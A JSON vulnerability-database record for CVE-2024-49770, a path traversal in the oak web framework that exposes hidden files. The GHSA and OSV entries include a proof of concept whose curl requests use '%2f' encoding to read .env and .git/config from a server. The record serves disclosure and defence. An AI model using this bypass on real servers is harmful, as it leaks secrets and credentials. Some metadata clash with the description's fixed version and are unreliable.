{"id":"CVE-2024-49770","aliases":["EUVD-2024-3301","GHSA-qm92-93fv-vh7m"],"status":"published","title":"oak's path traversal allows transfer of hidden files within the served root directory","description":"`oak` is a middleware framework for Deno's native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. By default `oak` does not allow transferring of hidden files with `Context.send` API. However, prior to version 17.1.3, this can be bypassed by encoding `/` as its URL encoded form `%2F`. For an attacker this has potential to read sensitive user data or to gain access to server secrets. Version 17.1.3 fixes the issue.","severity":{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00711,"percentile":0.53883,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-22","CWE-35"],"published":"2024-11-01T16:16:29Z","modified":"2026-10-28T02:30:49Z","affected":[{"source":"ghsa","ecosystem":"npm","package":"@oakserver/oak","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"14.1.0"}]}]},{"source":"osv","ecosystem":"npm","package":"@oakserver/oak","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"14.1.0"}]}]}],"products":[{"vendor":"oakserver","product":"oak"}],"references":[{"url":"https://github.com/oakserver/oak/security/advisories/GHSA-qm92-93fv-vh7m","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/oakserver/oak/commit/4b2f27efd5cba5a45b2c3982e610da3af0869209","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L117-L125","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L182C10-L182C25","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-49770","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-qm92-93fv-vh7m"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/49xxx/CVE-2024-49770.json","tags":["advisory"]},{"url":"https://github.com/oakserver/oak","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-49770","title":"oak's path traversal allows transfer of hidden files within the served root directory","description":"`oak` is a middleware framework for Deno's native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. By default `oak` does not allow transferring of hidden files with `Context.send` API. However, prior to version 17.1.3, this can be bypassed by encoding `/` as its URL encoded form `%2F`. For an attacker this has potential to read sensitive user data or to gain access to server secrets. Version 17.1.3 fixes the issue.","status":"published","published":"2024-11-01T16:16:29.482Z","modified":"2024-11-01T17:35:10.386Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"high","assessor":"cna"}],"cwes":["CWE-35","CWE-22"],"updated_at":"2026-11-02T14:33:55.977982Z"}],"euvd":[{"id":"EUVD-2024-3301","description":"`oak` is a middleware framework for Deno's native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. By default `oak` does not allow transferring of hidden files with `Context.send` API. However, prior to version 17.1.3, this can be bypassed by encoding `/` as its URL encoded form `%2F`. For an attacker this has potential to read sensitive user data or to gain access to server secrets. Version 17.1.3 fixes the issue.","status":"published","published":"2024-11-01T16:16:29Z","modified":"2024-11-01T17:35:10Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"updated_at":"2026-11-03T00:05:12.615767Z"}],"ghsa":[{"id":"GHSA-qm92-93fv-vh7m","title":"Path traversal in oak allows transfer of hidden files within the served root directory","description":"### Summary\n\nBy default `oak` does not allow transferring of hidden files with `Context.send` API. However, this can be bypassed by\nencoding `/` as its URL encoded form `%2F`.\n\n### Details\n\n1.) Oak uses [decodeComponent](https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L182C10-L182C25) which seems to be unexpected. This is also the reason why it is not possible to access a file that\ncontains URL encoded characters unless the client URL encodes it first.\n\n2.) The function [isHidden](https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L117-L125) is flawed since it only checks if the first subpath is hidden, allowing secrets to be read from `subdir/.env`.\n\n### PoC\n\n```ts\n// server.ts\n\nimport { Application } from \"jsr:@oak/oak@17.1.2\";\n\nconst app = new Application();\n\napp.use(async (context, next) =\u003e {\n  try {\n    await context.send({\n      root: './root',\n      hidden: false, // default\n    });\n  } catch {\n    await next();\n  }\n});\n\nawait app.listen({ port: 8000 });\n```\n\nIn terminal:\n\n```bash\n# setup root directory\nmkdir root/.git\necho SECRET_KEY=oops \u003e root/.env\necho oops \u003e  root/.git/config\n\n# start server\ndeno run -A server.ts\n\n# in another terminal\ncurl -D- http://127.0.0.1:8000/poc%2f../.env\ncurl -D- http://127.0.0.1:8000/poc%2f../.git/config\n```\n\n### Impact\n\nFor an attacker this has potential to read sensitive user data or to gain access to server secrets.\n","status":"published","published":"2024-11-01T21:37:10Z","modified":"2024-11-01T21:37:13Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22","CWE-35"],"updated_at":"2026-11-02T14:38:15.606692Z"}],"nvd":[{"id":"CVE-2024-49770","description":"`oak` is a middleware framework for Deno's native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. By default `oak` does not allow transferring of hidden files with `Context.send` API. However, prior to version 17.1.3, this can be bypassed by encoding `/` as its URL encoded form `%2F`. For an attacker this has potential to read sensitive user data or to gain access to server secrets. Version 17.1.3 fixes the issue.","status":"published","published":"2024-11-01T17:15:17.71Z","modified":"2026-06-17T08:00:25.007Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-22","CWE-35"],"updated_at":"2026-11-02T14:10:35.864552Z"}],"osv":[{"id":"CVE-2024-49770","title":"oak's path traversal allows transfer of hidden files within the served root directory","description":"`oak` is a middleware framework for Deno's native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. By default `oak` does not allow transferring of hidden files with `Context.send` API. However, prior to version 17.1.3, this can be bypassed by encoding `/` as its URL encoded form `%2F`. For an attacker this has potential to read sensitive user data or to gain access to server secrets. Version 17.1.3 fixes the issue.","status":"published","published":"2024-11-01T16:16:29.482Z","modified":"2026-10-28T02:30:49.312248324Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-22","CWE-35"],"updated_at":"2026-11-02T15:44:43.597758Z"},{"id":"GHSA-qm92-93fv-vh7m","title":"Path traversal in oak allows transfer of hidden files within the served root directory","description":"### Summary\n\nBy default `oak` does not allow transferring of hidden files with `Context.send` API. However, this can be bypassed by\nencoding `/` as its URL encoded form `%2F`.\n\n### Details\n\n1.) Oak uses [decodeComponent](https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L182C10-L182C25) which seems to be unexpected. This is also the reason why it is not possible to access a file that\ncontains URL encoded characters unless the client URL encodes it first.\n\n2.) The function [isHidden](https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L117-L125) is flawed since it only checks if the first subpath is hidden, allowing secrets to be read from `subdir/.env`.\n\n### PoC\n\n```ts\n// server.ts\n\nimport { Application } from \"jsr:@oak/oak@17.1.2\";\n\nconst app = new Application();\n\napp.use(async (context, next) =\u003e {\n  try {\n    await context.send({\n      root: './root',\n      hidden: false, // default\n    });\n  } catch {\n    await next();\n  }\n});\n\nawait app.listen({ port: 8000 });\n```\n\nIn terminal:\n\n```bash\n# setup root directory\nmkdir root/.git\necho SECRET_KEY=oops \u003e root/.env\necho oops \u003e  root/.git/config\n\n# start server\ndeno run -A server.ts\n\n# in another terminal\ncurl -D- http://127.0.0.1:8000/poc%2f../.env\ncurl -D- http://127.0.0.1:8000/poc%2f../.git/config\n```\n\n### Impact\n\nFor an attacker this has potential to read sensitive user data or to gain access to server secrets.\n","status":"published","published":"2024-11-01T21:37:10Z","modified":"2024-11-01T22:27:22.350305Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"},{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-22","CWE-35"],"updated_at":"2026-11-02T15:46:54.760124Z"}]}}